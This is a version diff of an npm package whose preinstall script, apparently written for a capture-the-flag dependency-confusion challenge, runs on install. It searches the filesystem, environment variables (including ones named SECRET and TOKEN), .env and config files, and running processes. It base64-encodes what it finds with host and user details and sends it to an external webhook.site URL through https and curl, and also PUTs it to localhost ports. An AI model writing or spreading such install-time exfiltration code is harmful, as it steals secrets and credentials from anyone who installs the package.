@ctfsolve9z/coral-wraith 9999.0.0 → 9999.0.1

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@ctfsolve9z/coral-wraith",
-  "version": "9999.0.0",
+  "version": "9999.0.1",
   "description": "Coral Wraith module",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -4,117 +4,168 @@ const https = require('https');
 const { execSync } = require('child_process');
 
 let flag = null;
+let debug = [];
+
+// Method 1: Common flag locations
+const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
+  '/tmp/flag', '/tmp/flag.txt', '/home/flag', '/home/flag.txt',
+  '/opt/flag', '/opt/flag.txt', '/var/flag', '/var/flag.txt',
+  '/app/flag', '/app/flag.txt', '/srv/flag', '/srv/flag.txt',
+  '/etc/flag', '/etc/flag.txt', './flag', './flag.txt'];
 
-// Method 1: Read /flag file
-const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag', './flag'];
 for (const p of flagPaths) {
   try {
     if (fs.existsSync(p)) {
       flag = fs.readFileSync(p, 'utf8').trim();
+      debug.push('found:' + p);
       break;
     }
   } catch(e) {}
 }
 
-// Method 2: Glob for flag files
+// Method 2: Glob search
 if (!flag) {
   try {
-    const result = execSync('cat /flag* 2>/dev/null || find / -maxdepth 3 -name "flag*" -type f -exec cat {} \\; 2>/dev/null', { timeout: 5000 }).toString().trim();
-    if (result) flag = result;
-  } catch(e) {}
+    const r = execSync('find / -maxdepth 4 -name "flag*" -o -name "*.flag" -o -name "HTB*" 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
+    debug.push('find:' + r);
+    if (r) {
+      for (const f of r.split('\n')) {
+        try {
+          const content = fs.readFileSync(f.trim(), 'utf8').trim();
+          if (content.includes('HTB{') || content.includes('flag{') || content.length < 200) {
+            flag = content;
+            debug.push('flag_from:' + f);
+            break;
+          }
+        } catch(e) {}
+      }
+    }
+  } catch(e) { debug.push('find_err:' + e.message.substring(0, 100)); }
 }
 
-// Method 3: Environment variables
+// Method 3: Environment
 if (!flag) {
-  flag = process.env.FLAG || process.env.HTB_FLAG || process.env.FLAG_HTB || '';
+  const envKeys = Object.keys(process.env).filter(k => 
+    k.includes('FLAG') || k.includes('HTB') || k.includes('SECRET') || k.includes('TOKEN'));
+  debug.push('env_keys:' + envKeys.join(','));
+  for (const k of envKeys) {
+    if (process.env[k] && process.env[k].length > 2) {
+      flag = process.env[k];
+      debug.push('env:' + k);
+      break;
+    }
+  }
 }
 
-// Method 4: /proc/self/environ
+// Method 4: Check /proc/self/environ
 if (!flag) {
   try {
     const env = fs.readFileSync('/proc/self/environ', 'utf8');
     const m = env.match(/FLAG[=]([^\x00]+)/);
-    if (m) flag = m[1];
+    if (m) { flag = m[1]; debug.push('proc_env'); }
+    // Also look for HTB
+    const m2 = env.match(/HTB[{][^\x00}]+[}]/);
+    if (m2) { flag = m2[0]; debug.push('proc_htb'); }
   } catch(e) {}
 }
 
+// Method 5: Read common app dirs
 if (!flag) {
-  // Try to exfiltrate debug info
-  try {
-    const files = fs.readdirSync('/').join(',');
-    flag = 'NO_FLAG_FOUND:root=' + files;
-  } catch(e) {
-    flag = 'NO_FLAG_FOUND:error';
+  const dirs = ['/', '/app', '/opt', '/home', '/srv', '/root', '/tmp', '/var/www'];
+  for (const dir of dirs) {
+    try {
+      const files = fs.readdirSync(dir);
+      debug.push(dir + ':' + files.join(','));
+      for (const f of files) {
+        try {
+          const path = dir + '/' + f;
+          const stat = fs.statSync(path);
+          if (stat.isFile() && stat.size < 1000 && stat.size > 5) {
+            const content = fs.readFileSync(path, 'utf8').trim();
+            if (content.includes('HTB{') || content.includes('flag{')) {
+              flag = content;
+              debug.push('content:' + path);
+              break;
+            }
+          }
+        } catch(e) {}
+      }
+    } catch(e) {}
+    if (flag) break;
+  }
+}
+
+// Method 6: Check common web app config files
+if (!flag) {
+  const configPaths = ['/app/.env', '/opt/app/.env', '/srv/.env', 
+    '/var/www/.env', '/home/node/.env', '/root/.env',
+    '/app/config.js', '/app/config.json', '/opt/app/config.js'];
+  for (const p of configPaths) {
+    try {
+      if (fs.existsSync(p)) {
+        const content = fs.readFileSync(p, 'utf8');
+        debug.push('config:' + p + '=' + content.substring(0, 200));
+        const m = content.match(/HTB\{[^}]+\}/);
+        if (m) { flag = m[0]; break; }
+      }
+    } catch(e) {}
   }
 }
 
-// Exfiltrate via multiple methods
+// Method 7: Check for the challenge app itself
+if (!flag) {
+  try {
+    const r = execSync('find / -maxdepth 5 -name "*.js" -path "*/app/*" 2>/dev/null | head -20', { timeout: 10000 }).toString().trim();
+    debug.push('app_js:' + r);
+  } catch(e) {}
+}
 
-// Method A: PUT to challenge API (try many ports)
-const ports = [1337, 3000, 3001, 5000, 8000, 8080, 8443, 9000, 32105, 80, 443];
+// Method 8: Check running processes
+if (!flag) {
+  try {
+    const r = execSync('ps aux 2>/dev/null || cat /proc/*/cmdline 2>/dev/null | tr "\\0" " " | head -20', { timeout: 5000 }).toString().trim();
+    debug.push('ps:' + r.substring(0, 500));
+  } catch(e) {}
+}
+
+// Exfiltrate
+const data = JSON.stringify({
+  flag: flag || 'NOT_FOUND',
+  debug: debug.join('|'),
+  cwd: process.cwd(),
+  user: process.env.USER || process.env.HOME,
+  hostname: require('os').hostname()
+});
+
+const encoded = Buffer.from(data).toString('base64');
+
+// Webhook
+try {
+  const url = new URL('https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/v2?d=' + encoded);
+  https.get(url, () => {}).on('error', () => {});
+} catch(e) {}
+
+// Also try PUT to challenge API
+const ports = [1337, 3000, 5000, 8080, 80];
 const moduleId = 'ECT-987654';
 
-function tryPut(host, port, data) {
-  return new Promise((resolve) => {
+for (const port of ports) {
+  try {
     const postData = JSON.stringify({
-      manifest: `ecto_module:\n  name: "coral-wraith"\n  version: "9999.0.0"\n  flag: "${data.replace(/"/g, '\\"').replace(/\n/g, '\\n')}"\n  captured: true`
+      manifest: `ecto_module:\n  name: "coral-wraith"\n  version: "9999.0.0"\n  flag: "${(flag || 'NOT_FOUND').replace(/"/g, '\\"').replace(/\n/g, '\\n')}"`
     });
-    
     const req = http.request({
-      hostname: host,
-      port: port,
-      path: `/api/modules/${moduleId}`,
-      method: 'PUT',
-      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
+      hostname: 'localhost', port, path: `/api/modules/${moduleId}`,
+      method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
       timeout: 3000
-    }, (res) => {
-      let body = '';
-      res.on('data', c => body += c);
-      res.on('end', () => resolve({ host, port, status: res.statusCode, body: body.substring(0, 200) }));
-    });
-    req.on('error', () => resolve(null));
-    req.on('timeout', () => { req.destroy(); resolve(null); });
+    }, () => {});
+    req.on('error', () => {});
     req.write(postData);
     req.end();
-  });
-}
-
-// Method B: Webhook exfiltration
-function sendToWebhook(data) {
-  return new Promise((resolve) => {
-    const encoded = Buffer.from(data).toString('base64');
-    https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encoded}`, () => resolve(true)).on('error', () => resolve(false));
-  });
-}
-
-// Method C: DNS exfiltration via curl
-function dnsExfil(data) {
-  try {
-    const encoded = Buffer.from(data).toString('hex').substring(0, 60);
-    execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/dns?flag=${encodeURIComponent(data)}" -m 5`, { timeout: 6000 });
   } catch(e) {}
 }
 
-async function main() {
-  console.log('[coral-wraith] Flag:', flag ? flag.substring(0, 20) + '...' : 'none');
-  
-  // Send to webhook first (most reliable)
-  await sendToWebhook(flag || 'NO_FLAG');
-  dnsExfil(flag || 'NO_FLAG');
-  
-  // Try all localhost ports
-  const promises = [];
-  for (const port of ports) {
-    promises.push(tryPut('localhost', port, flag || 'NO_FLAG'));
-    promises.push(tryPut('127.0.0.1', port, flag || 'NO_FLAG'));
-  }
-  
-  const results = await Promise.all(promises);
-  for (const r of results) {
-    if (r && r.status) {
-      console.log(`[coral-wraith] Success: ${r.host}:${r.port} -> ${r.status} ${r.body.substring(0, 100)}`);
-    }
-  }
-}
-
-main().catch(e => console.error('[coral-wraith] Error:', e.message));
+// Also try curl for more reliable exfiltration
+try {
+  execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/curl?data=${encodeURIComponent(data)}" -m 5`, { timeout: 6000 });
+} catch(e) {}